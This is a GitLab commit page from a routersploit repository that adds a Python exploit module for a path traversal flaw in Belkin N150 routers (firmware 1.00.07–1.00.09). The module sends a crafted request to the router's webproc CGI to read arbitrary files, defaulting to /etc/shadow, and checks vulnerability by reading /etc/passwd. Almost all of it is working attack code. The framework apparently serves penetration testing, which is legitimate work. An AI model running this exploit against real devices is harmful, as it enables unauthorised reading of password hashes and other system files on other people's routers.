Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
8c2bbe68
Commit
8c2bbe68
authored
Apr 01, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
belkin n150 path traversal exploit
parent
e4ded9a3
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
64 additions
and
0 deletions
+64
-0
__init__.py
routersploit/modules/exploits/belkin/__init__.py
+0
-0
n150_path_traversal.py
routersploit/modules/exploits/belkin/n150_path_traversal.py
+64
-0
No files found.
routersploit/modules/exploits/belkin/__init__.py
0 → 100644
View file @
8c2bbe68
routersploit/modules/exploits/belkin/n150_path_traversal.py
0 → 100644
View file @
8c2bbe68
import
requests
from
routersploit
import
*
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Belkin N150 Path Traversal vulnerability.
If the target is vulnerable, content of the specified file is returned.
"""
__info__
=
{
'name'
:
'Belkin N150 Path Traversal'
,
'description'
:
'Module exploits Belkin N150 Path Traversal vulnerability which allows to read any file on the system.'
,
'authors'
:
[
'Aditya Lad'
,
# vulnerability discovery
'Rahul Pratap Singh'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://www.exploit-db.com/exploits/38488/'
,
'http://www.belkin.com/us/support-article?articleNum=109400'
,
'http://www.kb.cert.org/vuls/id/774788'
,
],
'targets'
:
[
'Belkin N150 1.00.07'
,
'Belkin N150 1.00.08'
,
'Belkin N150 1.00.09'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
filename
=
exploits
.
Option
(
'/etc/shadow'
,
'File to read'
)
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc?getpage={}&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
,
self
.
filename
))
try
:
r
=
requests
.
get
(
url
,
verify
=
False
)
res
=
r
.
text
except
requests
.
exceptions
.
ConnectionError
:
print_error
(
"Connection error:
%
s"
%
url
)
return
if
len
(
res
):
print_success
(
"Success! File:
%
s"
%
self
.
filename
)
print
res
else
:
print_error
(
"Exploit failed"
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo"
.
format
(
self
.
target
,
self
.
port
))
try
:
r
=
requests
.
get
(
url
,
verify
=
False
)
res
=
r
.
text
except
:
return
None
# could not verify
if
"root:"
in
res
:
return
True
# target vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment